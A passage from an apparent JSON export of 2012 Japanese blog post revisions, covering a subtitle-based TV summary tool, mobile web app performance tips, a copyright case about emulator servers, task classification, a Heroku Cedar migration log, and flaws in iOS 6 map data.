controls\u003e\r\n\r\n字幕情報から諸々組み立てているので字幕がある番組じゃないと駄目。あとブラウザで動いてます。\r\n\r\n番組の質にもよるが、 1 時間ぐらいの番組を 5 分とかで内容が把握できるのでかなり便利だと思う。特にドキュメンタリーや教育番組では有効。\r\n\r\n字幕情報をパースする奴とかその辺に転がってるのでその気になれば 30 分もあれば作れます(作った)。","created_at":"2012-09-04T13:19:22.000Z","updated_at":"2012-09-04T13:19:22.000Z"},{"id":2157,"name":"text/テレビ番組をノベルゲーム風にするものを作った","body":"%blog%\r\n\r\nと言ってもなんのことか分からないと思うので現物を見てもらうのがいいかと思う。動画 H.264 な MP4 なので Firefox (と多分 Opera)では見られないと思います。\r\n\r\n\u003cvideo src='http://ssig33.com/gyazo/5479dd945f283046ad8df2b0cf6dd238.mp4' controls\u003e\r\n\r\nJ と K で進んだり戻ったりできます。\r\n\r\n字幕情報から諸々組み立てているので字幕がある番組じゃないと駄目。あとブラウザで動いてます。\r\n\r\n番組の質にもよるが、 1 時間ぐらいの番組を 5 分とかで内容が把握できるのでかなり便利だと思う。特にドキュメンタリーや教育番組では有効。\r\n\r\n字幕情報をパースする奴とかその辺に転がってるのでその気になれば 30 分もあれば作れます(作った)。","created_at":"2012-09-04T13:35:01.000Z","updated_at":"2012-09-04T13:35:01.000Z"},{"id":2158,"name":"text/ネイティブアプリ並のウェブアプリを云々","body":"%blog%\r\n\r\nなんか最近そういうの流行ってるようですね。僕も考えを書いてアクセス数を稼ぎます。\r\n\r\n### ページ遷移を過度に抑えようとするな\r\n下手に AJAX 使いまくるぐらいならページ遷移したほうがマシであることが多いです。世の中にはページ遷移を抑えようとして酷いことになってる JS を沢山見ます。よく考えろ。\r\n\r\n### ローカルストレージを活用しない\r\nlocalStorage に画像とか放りこむの異常に重くなるのでオススメしません。認証持たないサービスで設定値保存するのに使うとかに留めた方がよいと思う。\r\n\r\n非同期な API 絶賛してて気に食わない感じはしますが[この記事](https://dev.mozilla.jp/2012/03/there-is-no-simple-solution-for-local-storage/)を一読することをお勧めします。\r\n\r\nlocalStorage は小さなデータをいくつか入れる分には十分に高速です。大きなデータを入れると十分に低速です。\r\n\r\n### scroll イベントに対してリスナーを置かない\r\nscroll イベントの監視は実際最悪のアイディアです。これをやるだけで大抵恐しく重くなります。\r\n\r\n### スクロールしてもついてくるメニューバーを上に置いたりしない\r\nスマートフォンの画面画素数は 720x1280 とか 640x960 とかかなり高くなっています。しかし解像度が馬鹿みたいに高くても結局見辛いだけです。なので実際には拡大表示されることとなります。結局のところ UI 設計の上では 360x640 とか 320x480 とかのデバイスを相手にするという風に考えることになります。\r\n\r\nこの非常に狭い表示エリアにおいて、メニューバーでさらに表示エリアを狭くするのは最悪のアイディアです。\r\n\r\n### Android できちんとチェックする\r\nAndroid のブラウザは糞まみれのケツ野郎です。何も考えずに作られたサイトは大抵恐しく重くなり、運が悪ければ動作しません。ですが世の中には Android を使っている人が沢山います。我々はこの糞地獄に首まで漬かっているんだということを自覚せねばならない。基本的には iPhone で表示チェックして、 Android ではまあ表示できればいいや、というような態度はよくありません。 Android でもある程度軽快に動作するようになるまで練り込むべきです。この作業は実際のところ IE6 対応の作業に匹敵する苦痛です。\r\n\r\n### Twitter を参考にしない\r\nTwitter は最悪です。 Android の標準ブラウザではろくに動作しませんし、 iPhone 4S でもガクガクになる有様です。あれは全く使いやすくありません。あんなものを参考にしてあなたのサイトを制作すると、あなたのサイトもゴミ同然になります。","created_at":"2012-09-05T01:24:44.000Z","updated_at":"2012-09-05T01:24:44.000Z"},{"id":2159,"name":"text/ネイティブアプリ並のウェブアプリを云々","body":"%blog%\r\n\r\nなんか最近そういうの流行ってるようですね。僕も考えを書いてアクセス数を稼ぎます。\r\n\r\n### ページ遷移を過度に抑えようとするな\r\n下手に AJAX 使いまくるぐらいならページ遷移したほうがマシであることが多いです。世の中にはページ遷移を抑えようとして酷いことになってる JS を沢山見ます。よく考えろ。\r\n\r\n### ローカルストレージを活用しない\r\nlocalStorage に画像とか放りこむの異常に重くなるのでオススメしません。認証持たないサービスで設定値保存するのに使うとかに留めた方がよいと思う。\r\n\r\n非同期な API 絶賛してて気に食わない感じはしますが[この記事](https://dev.mozilla.jp/2012/03/there-is-no-simple-solution-for-local-storage/)を一読することをお勧めします。\r\n\r\nlocalStorage は小さなデータをいくつか入れる分には十分に高速です。大きなデータを入れると十分に低速です。\r\n\r\n### scroll イベントに対してリスナーを置かない\r\nscroll イベントの監視は実際最悪のアイディアです。これをやるだけで大抵恐しく重くなります。\r\n\r\n### スクロールしてもついてくるメニューバーを上に置いたりしない\r\nスマートフォンの画面画素数は 720x1280 とか 640x960 とかかなり高くなっています。しかし解像度が馬鹿みたいに高くても結局見辛いだけです。なので実際には拡大表示されることとなります。結局のところ UI 設計の上では 360x640 とか 320x480 とかのデバイスを相手にするという風に考えることになります。\r\n\r\nこの非常に狭い表示エリアにおいて、メニューバーでさらに表示エリアを狭くするのは最悪のアイディアです。\r\n\r\nあとメニューバーを上に置くと scroll イベントを監視して〜みたいな発想になりがちなのもよくないポイントです。\r\n\r\n### Android できちんとチェックする\r\nAndroid のブラウザは糞まみれのケツ野郎です。何も考えずに作られたサイトは大抵恐しく重くなり、運が悪ければ動作しません。ですが世の中には Android を使っている人が沢山います。我々はこの糞地獄に首まで漬かっているんだということを自覚せねばならない。基本的には iPhone で表示チェックして、 Android ではまあ表示できればいいや、というような態度はよくありません。 Android でもある程度軽快に動作するようになるまで練り込むべきです。この作業は実際のところ IE6 対応の作業に匹敵する苦痛です。\r\n\r\n### Twitter を参考にしない\r\nTwitter は最悪です。 Android の標準ブラウザではろくに動作しませんし、 iPhone 4S でもガクガクになる有様です。あれは全く使いやすくありません。あんなものを参考にしてあなたのサイトを制作すると、あなたのサイトもゴミ同然になります。","created_at":"2012-09-05T01:26:37.000Z","updated_at":"2012-09-05T01:26:37.000Z"},{"id":2160,"name":"text/エミュ鯖送検の話について","body":"%blog%\r\n\r\n何が問題視されてるのか正直そこまで調べてないんだが、簡単に想像される問題点について書く。\r\n\r\nようは hosts ファイルを書き換えて公式と違うサーバーに繋いだのが「同一性保持権の侵害」ということにされているらしい。\r\n\r\n- 怪しげなツールバーの通信を監視したりデバッグプロキシで書き換えたら同一性保持権の侵害とされる可能性がある\r\n - ようは高木先生が捕まる可能性がある\r\n- user.css や user.js を提供したところ想定しない画面表示をさせたので同一性保持権の侵害とされる可能性がある\r\n\r\n不正競争防止法ではエミュ鯖の利用者を挙げられないので、著作権侵害で挙げたんだと思う。このような法律を拡大解釈を許しているとインターネットが崩壊しかねない。","created_at":"2012-09-08T16:52:42.000Z","updated_at":"2012-09-08T16:52:42.000Z"},{"id":2161,"name":"text/エミュ鯖送検の話について","body":"%blog%\r\n\r\n何が問題視されてるのか正直そこまで調べてないんだが、簡単に想像される問題点について書く。\r\n\r\nようは hosts ファイルを書き換えて公式と違うサーバーに繋いだのが「同一性保持権の侵害」ということにされているらしい。\r\n\r\n- 怪しげなツールバーの通信を監視したりデバッグプロキシで書き換えたら同一性保持権の侵害とされる可能性がある\r\n - ようは高木先生が捕まる可能性がある\r\n- user.css や user.js を提供したところ想定しない画面表示をさせたので同一性保持権の侵害とされる可能性がある\r\n\r\n不正競争防止法ではエミュ鯖の利用者を挙げられないので、著作権侵害で挙げたんだと思う。このような法律を拡大解釈を許しているとインターネットが崩壊しかねない。\r\n\r\n散々言われてることがが名誉条項が無く極めて適用範囲が広い日本の同一性保持権の弊害がいよいよ明らかになってきている感じがする。かなりまずいことになってきた。","created_at":"2012-09-08T17:11:11.000Z","updated_at":"2012-09-08T17:11:11.000Z"},{"id":2162,"name":"text/エミュ鯖送検の話について","body":"%blog%\r\n\r\n何が問題視されてるのか正直そこまで調べてないんだが、簡単に想像される問題点について書く。\r\n\r\nようは hosts ファイルを書き換えて公式と違うサーバーに繋いだのが「同一性保持権の侵害」ということにされているらしい。\r\n\r\n- 怪しげなツールバーの通信を監視したりデバッグプロキシで書き換えたら同一性保持権の侵害とされる可能性がある\r\n - ようは高木先生が捕まる可能性がある\r\n- user.css や user.js を提供したところ想定しない画面表示をさせたので同一性保持権の侵害とされる可能性がある\r\n\r\n不正競争防止法ではエミュ鯖の利用者を挙げられないので、著作権侵害で挙げたんだと思う。このような法律を拡大解釈を許しているとインターネットが崩壊しかねない。\r\n\r\n散々言われてることだが名誉条項が無く極めて適用範囲が広い日本の同一性保持権の弊害がいよいよ明らかになってきている感じがする。かなりまずいことになってきた。","created_at":"2012-09-08T20:17:11.000Z","updated_at":"2012-09-08T20:17:11.000Z"},{"id":2163,"name":"text/タスク分類法","body":"%blog%\r\n\r\n人それぞれ考えはあるでしょうが僕の考えを書きます。個人のタスクを分類する話です。\r\n\r\n### 1. 分類する!!!\r\n何はともあれ分類しましょう。僕の分類はこんな感じです。\r\n\r\n#### タスクの内容に基いた分類\r\n- やってもいい\r\n- やりたくない\r\n\r\n#### 期限や優先度に基いた分類\r\n- やる必要がある\r\n- そのうちやる\r\n\r\n個人的に分類というのを多段階にするのはあまりよく無いと思っています。 10 段階評価とか言われてもまず適切な評価は不可能です。 4 段階評価とかでも難しいと思います。 2 段階評価というのがいいと思う。\r\n\r\n2 項目について 2 段階に分けて評価をすると、プロジェクトのうち、だるいのがどういう部分ですぐ出来るのがどこかみたいのはある程度見えてくるのではないかと思います。\r\n\r\n### 2. 忘れる\r\nタスクの分類が終わったら、忘れます。プロジェクトの開始前に行なわれた分類は大抵間違っています。そもそもタスクリストにも過不足があります。またプロジェクトの途中で要件は常に変更されます。なのでどのようにタスクを分類したかなど忘れたほうがよいし、タスクリストそのものも忘れてもよい。\r\n\r\nというか忘れないと「これが難しい」「これが簡単」みたいな思い込みが進行に悪影響を与える。実践に入ってしまえば後はその場その場の判断でしょう。\r\n\r\n肝心なのは「どこがだるそうか」みたいななんとなくな把握なのではないかと思います。そのレベルで大きな間違いをするというのはあまり無いでしょうから。","created_at":"2012-09-10T14:15:49.000Z","updated_at":"2012-09-10T14:15:49.000Z"},{"id":2164,"name":"text/タスク分類法","body":"%blog%\r\n\r\n人それぞれ考えはあるでしょうが僕の考えを書きます。個人のタスクを分類する話です。\r\n\r\n### 1. 分類する!!!\r\n何はともあれ分類しましょう。僕の分類はこんな感じです。\r\n\r\n#### タスクの内容に基いた分類\r\n- やってもいい\r\n- やりたくない\r\n\r\n#### 期限や優先度に基いた分類\r\n- やる必要がある\r\n- そのうちやる\r\n\r\n分類というのを多段階にするのはあまりよく無いと思っています。 10 段階評価とか言われてもまず適切な評価は不可能です。 4 段階評価とかでも難しいと思います。 2 段階評価というのがいいと思う。\r\n\r\n2 項目について 2 段階に分けて評価をすると、プロジェクトのうち、だるいのがどういう部分ですぐ出来るのがどこかみたいのはある程度見えてくるのではないかと思います。\r\n\r\n### 2. 忘れる\r\nタスクの分類が終わったら、忘れます。プロジェクトの開始前に行なわれた分類は大抵間違っています。そもそもタスクリストにも過不足があります。またプロジェクトの途中で要件は常に変更されます。なのでどのようにタスクを分類したかなど忘れたほうがよいし、タスクリストそのものも忘れてもよい。\r\n\r\nというか忘れないと「これが難しい」「これが簡単」みたいな思い込みが進行に悪影響を与える。実践に入ってしまえば後はその場その場の判断でしょう。\r\n\r\n肝心なのは「どこがだるそうか」みたいななんとなくな把握なのではないかと思います。そのレベルで大きな間違いをするというのはあまり無いでしょうから。","created_at":"2012-09-10T14:19:34.000Z","updated_at":"2012-09-10T14:19:34.000Z"},{"id":2165,"name":"text/Heroku で古いアプリを Cedar Stack に移行する話","body":"%blog%\r\n\r\nTwitter 関連アプリ開発終了が流行している。流行に乗って[金くれ](http://kanekure.ssig33.com)も止めようと思った。だが流行に乗るのもダサいしせっかくなので bamboo stack から cedar スタックに移行することとした。さらに mri のバージョンも 1.9.3 にする。\r\n\r\nその作業ログ。実際はもっといろいろダサいことやったりして巻き戻したりしてる。\r\n\r\n### 1. Cedar Stack のアプリを作る\r\n $ heroku create --remote cedar kanekure-cedar\r\n\r\n以上。\r\n\r\n### 2. Procfile 書いたり Gemfile 書き加えたり\r\nProcfile は Web だけなので\r\n web: bundle exec thin start -p $PORT -e $RACK_ENV\r\n\r\nの一行でよい。手軽。 Gemfile に\r\n\r\n ruby '1.9.3'\r\n\r\nと\r\n\r\n gem 'thin'\r\n gem 'pg'\r\n\r\nを追加。これで Cedar スタックで上手いところ動いてくれる。\r\n\r\n### 3. デプロイ\r\n $ git push cedar master\r\n\r\nこれでよい。\r\n\r\n### 4. 古いのを停止してデータを移行\r\n止める\r\n $ heroku maintenance:on --app kanekure\r\n\r\n古い奴のダンプを新しい奴に読み込む\r\n $ heroku addons:add --app kanekure-cedar pgbackups:basic\r\n $ heroku pgbackups:capture --app kanekure --expire \r\n $ heroku pgbackups:restore DATABASE `heroku pgbackups:url --app kanekure` --app kanekure-cedar\r\n\r\n### 5. 管理画面からドメインの設定とか移して古い奴を消す\r\n見出しの通り。\r\n\r\nやったことを書き出せばまあこれだけなのだが余計なことをしてしまったりで結構手間がかかった。\r\n\r\nWeb Worker 一つだけを使っていて特に addon などを使っていないアプリみたいのは沢山あると思うのだが、それは上記のことだけやれば bamboo から cedar に移行できる。\r\n\r\n物凄く今更感高い話題ですねこれ。","created_at":"2012-09-12T06:52:56.000Z","updated_at":"2012-09-12T06:52:56.000Z"},{"id":2166,"name":"text/Heroku で古いアプリを Cedar Stack に移行する話","body":"%blog%\r\n\r\nTwitter 関連アプリ開発終了が流行している。流行に乗って[金くれ](http://kanekure.ssig33.com)も止めようと思った。だが流行に乗るのもダサいしせっかくなので bamboo stack から cedar スタックに移行することとした。さらに mri のバージョンも 1.9.3 にする。\r\n\r\nその作業ログ。実際はもっといろいろダサいことやったりして巻き戻したりしてる。\r\n\r\n### 1. Cedar Stack のアプリを作る\r\n $ heroku create --remote cedar kanekure-cedar\r\n\r\n以上。\r\n\r\n### 2. Procfile 書いたり Gemfile 書き加えたり\r\nProcfile は Web だけなので\r\n web: bundle exec thin start -p $PORT -e $RACK_ENV\r\n\r\nの一行でよい。手軽。 Gemfile に\r\n\r\n ruby '1.9.3'\r\n\r\nと\r\n\r\n gem 'thin'\r\n gem 'pg'\r\n\r\nを追加。これで Cedar スタックで上手いところ動いてくれる。\r\n\r\n### 3. デプロイ\r\n $ git push cedar master\r\n\r\nこれでよい。\r\n\r\n### 4. 古いのを停止してデータを移行\r\n止める\r\n $ heroku maintenance:on --app kanekure\r\n\r\n古い奴のダンプを新しい奴に読み込む\r\n\r\n $ heroku addons:add --app kanekure-cedar pgbackups:basic\r\n $ heroku pgbackups:capture --app kanekure --expire \r\n $ heroku pgbackups:restore DATABASE `heroku pgbackups:url --app kanekure` --app kanekure-cedar\r\n\r\n### 5. 管理画面からドメインの設定とか移して古い奴を消す\r\n見出しの通り。\r\n\r\nやったことを書き出せばまあこれだけなのだが余計なことをしてしまったりで結構手間がかかった。\r\n\r\nWeb Worker 一つだけを使っていて特に addon などを使っていないアプリみたいのは沢山あると思うのだが、それは上記のことだけやれば bamboo から cedar に移行できる。\r\n\r\n物凄く今更感高い話題ですねこれ。","created_at":"2012-09-12T06:53:10.000Z","updated_at":"2012-09-12T06:53:10.000Z"},{"id":2167,"name":"text/Heroku で古いアプリを Cedar Stack に移行する話","body":"%blog%\r\n\r\nTwitter 関連アプリ開発終了が流行している。流行に乗って[金くれ](http://kanekure.ssig33.com)も止めようと思った。だが流行に乗るのもダサいしせっかくなので bamboo stack から cedar スタックに移行することとした。さらに mri のバージョンも 1.9.3 にする。\r\n\r\nその作業ログ。実際はもっといろいろダサいことやったりして巻き戻したりしてる。\r\n\r\n### 1. Cedar Stack のアプリを作る\r\n $ heroku create --remote cedar kanekure-cedar\r\n\r\n以上。\r\n\r\n### 2. Procfile 書いたり Gemfile 書き加えたり\r\nProcfile は Web だけなので\r\n web: bundle exec thin start -p $PORT -e $RACK_ENV\r\n\r\nの一行でよい。手軽。 Gemfile に\r\n\r\n ruby '1.9.3'\r\n\r\nと\r\n\r\n gem 'thin'\r\n gem 'pg'\r\n\r\nを追加。これで Cedar スタックで上手いところ動いてくれる。\r\n\r\n### 3. デプロイ\r\n $ git push cedar master\r\n\r\nこれでよい。\r\n\r\n### 4. 古いのを停止してデータを移行\r\n止める\r\n \r\n $ heroku maintenance:on --app kanekure\r\n\r\n古い奴のダンプを新しい奴に読み込む\r\n\r\n $ heroku addons:add --app kanekure-cedar pgbackups:basic\r\n $ heroku pgbackups:capture --app kanekure --expire \r\n $ heroku pgbackups:restore DATABASE `heroku pgbackups:url --app kanekure` --app kanekure-cedar\r\n\r\n### 5. 管理画面からドメインの設定とか移して古い奴を消す\r\n見出しの通り。\r\n\r\nやったことを書き出せばまあこれだけなのだが余計なことをしてしまったりで結構手間がかかった。\r\n\r\nWeb Worker 一つだけを使っていて特に addon などを使っていないアプリみたいのは沢山あると思うのだが、それは上記のことだけやれば bamboo から cedar に移行できる。\r\n\r\n物凄く今更感高い話題ですねこれ。","created_at":"2012-09-12T06:53:24.000Z","updated_at":"2012-09-12T06:53:24.000Z"},{"id":2168,"name":"text/Heroku で古いアプリを Cedar Stack に移行する話","body":"%blog%\r\n\r\nTwitter 関連アプリ開発終了が流行している。流行に乗って[金くれ](http://kanekure.ssig33.com)も止めようと思った。だが流行に乗るのもダサいしせっかくなので bamboo stack から cedar スタックに移行することとした。さらに mri のバージョンも 1.9.3 にする。\r\n\r\nその作業ログ。実際はもっといろいろダサいことやったりして巻き戻したりしてる。\r\n\r\n### 1. Cedar Stack のアプリを作る\r\n $ heroku create --remote cedar kanekure-cedar\r\n\r\n以上。\r\n\r\n### 2. Procfile 書いたり Gemfile 書き加えたり\r\nProcfile は Web だけなので\r\n \r\n web: bundle exec thin start -p $PORT -e $RACK_ENV\r\n\r\nの一行でよい。手軽。 Gemfile に\r\n\r\n ruby '1.9.3'\r\n\r\nと\r\n\r\n gem 'thin'\r\n gem 'pg'\r\n\r\nを追加。これで Cedar スタックで上手いところ動いてくれる。\r\n\r\n### 3. デプロイ\r\n $ git push cedar master\r\n\r\nこれでよい。\r\n\r\n### 4. 古いのを停止してデータを移行\r\n止める\r\n```\r\n$ heroku maintenance:on --app kanekure\r\n```\r\n\r\n古い奴のダンプを新しい奴に読み込む\r\n```\r\n$ heroku addons:add --app kanekure-cedar pgbackups:basic\r\n$ heroku pgbackups:capture --app kanekure --expire \r\n$ heroku pgbackups:restore DATABASE `heroku pgbackups:url --app kanekure` --app kanekure-cedar\r\n```\r\n\r\n### 5. 管理画面からドメインの設定とか移して古い奴を消す\r\n見出しの通り。\r\n\r\nやったことを書き出せばまあこれだけなのだが余計なことをしてしまったりで結構手間がかかった。\r\n\r\nWeb Worker 一つだけを使っていて特に addon などを使っていないアプリみたいのは沢山あると思うのだが、それは上記のことだけやれば bamboo から cedar に移行できる。\r\n\r\n物凄く今更感高い話題ですねこれ。","created_at":"2012-09-12T06:54:14.000Z","updated_at":"2012-09-12T06:54:14.000Z"},{"id":2169,"name":"text/Heroku で古いアプリを Cedar Stack に移行する話","body":"%blog%\r\n\r\nTwitter 関連アプリ開発終了が流行している。流行に乗って[金くれ](http://kanekure.ssig33.com)も止めようと思った。だが流行に乗るのもダサいしせっかくなので bamboo stack から cedar スタックに移行することとした。さらに mri のバージョンも 1.9.3 にする。\r\n\r\nその作業ログ。実際はもっといろいろダサいことやったりして巻き戻したりしてる。\r\n\r\n### 1. Cedar Stack のアプリを作る\r\n $ heroku create --remote cedar kanekure-cedar\r\n\r\n以上。\r\n\r\n### 2. Procfile 書いたり Gemfile 書き加えたり\r\nProcfile は Web だけなので\r\n \r\n web: bundle exec thin start -p $PORT -e $RACK_ENV\r\n\r\nの一行でよい。手軽。 Gemfile に\r\n\r\n ruby '1.9.3'\r\n\r\nと\r\n\r\n gem 'thin'\r\n gem 'pg'\r\n\r\nを追加。これで Cedar スタックで上手いところ動いてくれる。\r\n\r\n### 3. デプロイ\r\n $ git push cedar master\r\n\r\nこれでよい。\r\n\r\n### 4. 古いのを停止してデータを移行\r\n止める\r\n\r\n```\r\n$ heroku maintenance:on --app kanekure\r\n```\r\n\r\n古い奴のダンプを新しい奴に読み込む\r\n\r\n```\r\n$ heroku addons:add --app kanekure-cedar pgbackups:basic\r\n$ heroku pgbackups:capture --app kanekure --expire \r\n$ heroku pgbackups:restore DATABASE `heroku pgbackups:url --app kanekure` --app kanekure-cedar\r\n```\r\n\r\n### 5. 管理画面からドメインの設定とか移して古い奴を消す\r\n見出しの通り。\r\n\r\nやったことを書き出せばまあこれだけなのだが余計なことをしてしまったりで結構手間がかかった。\r\n\r\nWeb Worker 一つだけを使っていて特に addon などを使っていないアプリみたいのは沢山あると思うのだが、それは上記のことだけやれば bamboo から cedar に移行できる。\r\n\r\n物凄く今更感高い話題ですねこれ。","created_at":"2012-09-12T06:54:35.000Z","updated_at":"2012-09-12T06:54:35.000Z"},{"id":2170,"name":"text/Heroku で古いアプリを Cedar Stack に移行する話","body":"%blog%\r\n\r\nTwitter 関連アプリ開発終了が流行している。流行に乗って[金くれ](http://kanekure.ssig33.com)も止めようと思った。だが流行に乗るのもダサいしせっかくなので bamboo stack から cedar スタックに移行することとした。さらに mri のバージョンも 1.9.3 にする。\r\n\r\nその作業ログ。実際はもっといろいろダサいことやったりして巻き戻したりしてる。\r\n\r\n### 1. Cedar Stack のアプリを作る\r\n $ heroku create --remote cedar kanekure-cedar\r\n\r\n以上。\r\n\r\n### 2. Procfile 書いたり Gemfile 書き加えたり\r\nProcfile は Web だけなので\r\n \r\n web: bundle exec thin start -p $PORT -e $RACK_ENV\r\n\r\nの一行でよい。手軽。 Gemfile に\r\n\r\n ruby '1.9.3'\r\n\r\nと\r\n\r\n gem 'thin'\r\n gem 'pg'\r\n\r\nを追加。これで Cedar スタックで上手いところ動いてくれる。\r\n\r\n### 3. デプロイ\r\n $ git push cedar master\r\n\r\nこれでよい。\r\n\r\n### 4. 古いのを停止してデータを移行\r\n止める\r\n\r\n``` sh\r\n$ heroku maintenance:on --app kanekure\r\n```\r\n\r\n古い奴のダンプを新しい奴に読み込む\r\n\r\n``` sh\r\n$ heroku addons:add --app kanekure-cedar pgbackups:basic\r\n$ heroku pgbackups:capture --app kanekure --expire \r\n$ heroku pgbackups:restore DATABASE `heroku pgbackups:url --app kanekure` --app kanekure-cedar\r\n```\r\n\r\n### 5. 管理画面からドメインの設定とか移して古い奴を消す\r\n見出しの通り。\r\n\r\nやったことを書き出せばまあこれだけなのだが余計なことをしてしまったりで結構手間がかかった。\r\n\r\nWeb Worker 一つだけを使っていて特に addon などを使っていないアプリみたいのは沢山あると思うのだが、それは上記のことだけやれば bamboo から cedar に移行できる。\r\n\r\n物凄く今更感高い話題ですねこれ。","created_at":"2012-09-12T06:54:53.000Z","updated_at":"2012-09-12T06:54:53.000Z"},{"id":2171,"name":"text/Heroku で古いアプリを Cedar Stack に移行する話","body":"%blog%\r\n\r\nTwitter 関連アプリ開発終了が流行している。流行に乗って[金くれ](http://kanekure.ssig33.com)も止めようと思った。だが流行に乗るのもダサいしせっかくなので bamboo stack から cedar スタックに移行することとした。さらに mri のバージョンも 1.9.3 にする。\r\n\r\nその作業ログ。実際はもっといろいろダサいことやったりして巻き戻したりしてる。\r\n\r\n### 1. Cedar Stack のアプリを作る\r\n $ heroku create --remote cedar kanekure-cedar\r\n\r\n以上。\r\n\r\n### 2. Procfile 書いたり Gemfile 書き加えたり\r\nProcfile は Web だけなので\r\n \r\n web: bundle exec thin start -p $PORT -e $RACK_ENV\r\n\r\nの一行でよい。手軽。 Gemfile に\r\n\r\n ruby '1.9.3'\r\n\r\nと\r\n\r\n gem 'thin'\r\n gem 'pg'\r\n\r\nを追加。これで Cedar スタックで上手いところ動いてくれる。\r\n\r\n### 3. デプロイ\r\n $ git push cedar master\r\n\r\nこれでよい。\r\n\r\n### 4. 古いのを停止してデータを移行\r\n止める\r\n\r\n``` sh\r\n$ heroku maintenance:on --app kanekure\r\n```\r\n\r\n古い奴のダンプを新しい奴に読み込む\r\n\r\n``` sh\r\n$ heroku addons:add --app kanekure-cedar pgbackups:basic\r\n$ heroku pgbackups:capture --app kanekure --expire \r\n$ heroku pgbackups:restore DATABASE `heroku pgbackups:url --app kanekure` --app kanekure-cedar\r\n```\r\n\r\n### 5. 管理画面からドメインの設定とか移して古い奴を消す\r\n見出しの通り。\r\n\r\nやったことを書き出せばまあこれだけなのだが余計なことをしてしまったりで結構手間がかかった。\r\n\r\nWeb Worker 一つだけを使っていて特に addon などを使っていないアプリみたいのは沢山あると思うのだが、それは上記のことだけやれば bamboo から cedar に移行できる。\r\n\r\n未だに Ruby 1.8.7 とかで動いてるアプリもわりとある気はするのだが、そういうのはもう 1 から作りなおすか忘れるかするといいと思う。\r\n\r\n物凄く今更感高い話題ですねこれ。","created_at":"2012-09-12T06:55:44.000Z","updated_at":"2012-09-12T06:55:44.000Z"},{"id":2172,"name":"text/主張","body":"%blog%\r\n\r\nあんまり纏まってないけど御勘弁を。\r\n\r\nちょっと前に[こんなん](http://ssig33.com/text/%E3%83%8D%E3%82%A4%E3%83%86%E3%82%A3%E3%83%96%E3%82%A2%E3%83%97%E3%83%AA%E4%B8%A6%E3%81%AE%E3%82%A6%E3%82%A7%E3%83%96%E3%82%A2%E3%83%97%E3%83%AA%E3%82%92%E4%BA%91%E3%80%85)書いたら、「そうだそうだ HTML でネイティブアプリ並の操作性なんて無理だ無理だ」みたいな反応を沢山貰いました。\r\n\r\nそんなことは僕は全く思ってませんし、クロスプラットフォームで動作する快適な UI を作成する道具として HTML と JS を使うことは僕が深く興味を抱いていることです。\r\n\r\nFacebook が「HTML を使ったのが失敗だった」と言っていたことが話題になりましたが、あれはどちらかというとまともな JS を書ける人を採用出来なかったという採用戦略の失敗の話だと思います。故によけい深い問題だとも言えるでしょう。\r\n\r\niPhone の UIWebView での JS の実行速度が遅い問題については近年よく知られるようになってきています。ですが実際のところ UIWebView においても JS の実行速度そのものが問題になることは殆どなく、不適切なループや DOM 処理が行なわれている結果遅い(つまり JIT が効こうが遅い)というのが殆どです(全てではない)。\r\n\r\nなおゲームを中心として処理系の速度が問題となる事例がありますが、その際には JSX などをはじめとしていくつかの選択肢があります。これらのアプローチは「 JIT がやってたような最適化を JS へのコンバータにやらせる」というのが本質であると僕は理解しています。\r\n\r\niOS Android Windows などプラットフォームが乱立する中、なんだかんだで安心して各プラットフォームでコードを共通利用できるのはブラウザアプリだと僕は今のところ固く信じています。\r\n\r\n「HTML + JS ではまともなアプリを作れない」という主張をしている各位は周囲にまともな JS を書ける人がいないだけだと思います。もうちょっと友達付き合いを広げてみるとどうでしょうかね。","created_at":"2012-09-13T10:07:30.000Z","updated_at":"2012-09-13T10:07:30.000Z"},{"id":2173,"name":"text/iOS6 の地図について駅などをもとに考えてみる","body":"%blog%\r\n\r\n散々言われている面白地図ですが、例えば高円寺駅について見てみると\r\n\r\n- 正しい位置にある「高円寺駅」\r\n- 正しい位置にあるひらがな表記の「こうえんじ」\r\n- 正しい位置にあり検索するとピンの落ちる先として設定されている「高円寺駅」\r\n - 駅名で検索しないと出てこない\r\n- 測地系のずれと思われる位置(南東に数百メートルのずれ)にある「高円寺駅」\r\n\r\nの 4 個があることが分かります。高円寺駅の場合はこれだけですが、いくつかの駅では\r\n\r\n- 謎の数キロメートルのずれが発生してる本当に意味分からないやつ\r\n - 西にずれてることが多いっぽい\r\n\r\nがさらにあります。\r\n\r\niOS6 の地図は国内ではインタレスト P の地図(MapFan のやつ、カーナビによく使われている)を基本に複数の地図をマージされたものであることはよく知られていますが、その際測地系の違いを無視してマージしたり、謎の数キロメートルにも及ぶずれが発生したり、同じ名前の [POI](http://ja.wikipedia.org/wiki/Point_of_interest) のマージに失敗したりしたことが分かります。\r\n\r\nこのうち測地系の取り扱いミスについては一瞬で修正出来る問題です。そもそも「高円寺駅」が複数ある問題について、完全に名前が一致するものについてはマージしてしまえばいいので、それなりに早期に解決出来る問題という気がします。またひらがなの「こうえんじ」についてはインタレスト P 提供のデータに含まれるものなので、インタレスト P の協力があれば早期と言えないまでも修正が可能でしょう。数キロメートルずれてる奴はよう分からん。\r\n\r\n今度はこうした技術的に解決できる問題が全て解決されたと仮定して、高円寺駅を基点に地図を見ていきましょう。\r\n\r\n- 明らかに数年前に潰れた店があります\r\n- 縮尺をかなり大きくしないと線路が表示されない\r\n- 新高円寺駅(地下鉄駅です)を見てみると A1 出口がどこかとかそういう情報が無い\r\n\r\nまたよく知られるように、北九州空港が東横インとして表示されています。北九州空港に行ったことがある人なら分かると思いますが、あの辺鄙な空港には東横インが併設されています。このことから分かる通り、\r\n\r\n- 商業施設の表示優先順位が、交通関連の施設や行政関連施設よりも高い\r\n\r\nという問題があることも分かります。有名な大王製紙やくろ松と群馬県庁の問題などもそうでしょう。\r\n\r\nこれらの問題のうち\r\n\r\n- 表示優先順位の調整\r\n- 鉄道線路の問題\r\n\r\nは技術的な解決が可能です。もしこうしたことが Apple 内部できちんと問題として認識されているならば早期の解決が見込まれるでしょう。\r\n\r\nそうした様々な問題が解決されたとしても\r\n\r\n- データが明らかに古い\r\n - MapFan 見れば分かりますがインクリメント P のせいです\r\n - ちなみにこれは米国でも発生している問題です\r\n - ハイチでも発生してます\r\n - 2 年前の地震で首都の施設はほぼ全て消滅したが地図には未だに表示されている\r\n- 鉄道関連の施設が軽んじられている\r\n\r\nという問題は解決しないでしょう。\r\n\r\nアメリカにおいては携帯電話にドライブナビゲーション機能を持たせることがどうやら重視されているようですが、日本の車は買えばカーナビ大抵ついてきます。携帯電話にドライブナビゲーションさせる必要がない。携帯電話の地図に必要なのは鉄道を中心とした公共交通機関を利用したナビゲーションです。\r\n\r\nそうした文化差を考慮せずインクリメント P 